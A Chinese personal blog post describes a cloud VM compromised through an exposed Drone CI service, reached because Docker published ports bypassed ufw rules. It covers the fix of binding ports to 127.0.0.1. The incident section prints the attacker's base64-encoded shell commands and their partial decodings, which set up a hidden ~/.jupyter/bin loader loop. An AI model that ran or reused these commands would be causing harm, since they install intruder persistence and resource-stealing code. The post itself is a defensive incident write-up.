這篇文章記錄了一次被駭的經歷,並透過事件的發生,讓我對資安有了更深層次的了解。

我的虛擬機(host在Linode上)近期一直發出99% CPU使用率的警告信,於是我登入機器並執行指令 ps aux --sort=-%cpu 查找異常。最終發現有兩個不明指令在背景執行:

sh base64 -d <<< UEFUSD0kSE9NRS8uanVweXRlci9iaW46JFBBVEggJiYgUlVOTkVSPTEgJiYgd2hpbGUgWyAxIF07IGRvIFJVTk5FUj0kKHBzIC1lby

sh base64 -d <<< ZXhwb3J0IFRFUk09eHRlcm0gJiYgbnByb2MgJiYgbWtkaXIgfi8uanVweXRlci9iaW4gLXAgJiYgLi9zZXR1cCAmJiAuL2NvbmZpZ3

請問直接執行,如果真要執行請只要圈選 base64 後面那段文字就好,下面給大家看 base64後的結果

PATH=$HOME/.jupyter/bin:$PATH && RUNNER=1 && while [ 1 ]; do RUNNER=$(ps -e%

export TERM=xterm && nproc && mkdir ~/.jupyter/bin -p && ./setup && ./confi%

這是我第一次處理機器被入侵的情況,於是決定重置整台機器,並重新了解了一些防火牆的相關規範。以前我總是裸奔,只關閉了 password login,沒有任何其他的安全措施。這次重新安裝了 ufw 來增加防護,但是在 ufw default deny 的情況下,發現啟動 docker container 時使用 publish port 會有問題。舉例來說,當你使用以下指令啟動 docker container:

docker run -d -p 8080:80 nginx

Docker 會繞過 ufw 預設建立的 iptables 規則,並在最上面建立一條 accept all 的規則。因此,即使在後面建立 deny all 的規則,也會無效。在這個例子中,這條指令對外開啟了 8080 port 和 80 port,這非常危險。所以可以做以下的修正:

docker run -d -p 127.0.0.1:8080:80 nginx

強制並且明確指定 contaner 的 port & ip來源 

測試的方法很簡單,只要分別用這句語法分開啟動後,透過從另一台機器 telnet 8080 port 就能知道 ufw 有沒有順利啟用了。

後面就是開始收拾戰場了,因為我前面有擋一層 nginx ,所以理論上所有後面的服務都不需要被暴露出來,但因為沒有指名使用 127.0.0.1,所以之前都默默被暴露出來,把我的 drone & drone-runner,依依l設定完,重新上線。

最後就是找 hacker 的入侵點,就是透過我的其中一台 drone ,註冊 cron ,並且執行上面指令。最後就進入 drone 裡面的 sqlite 清理垃圾。 如下圖

hackerlog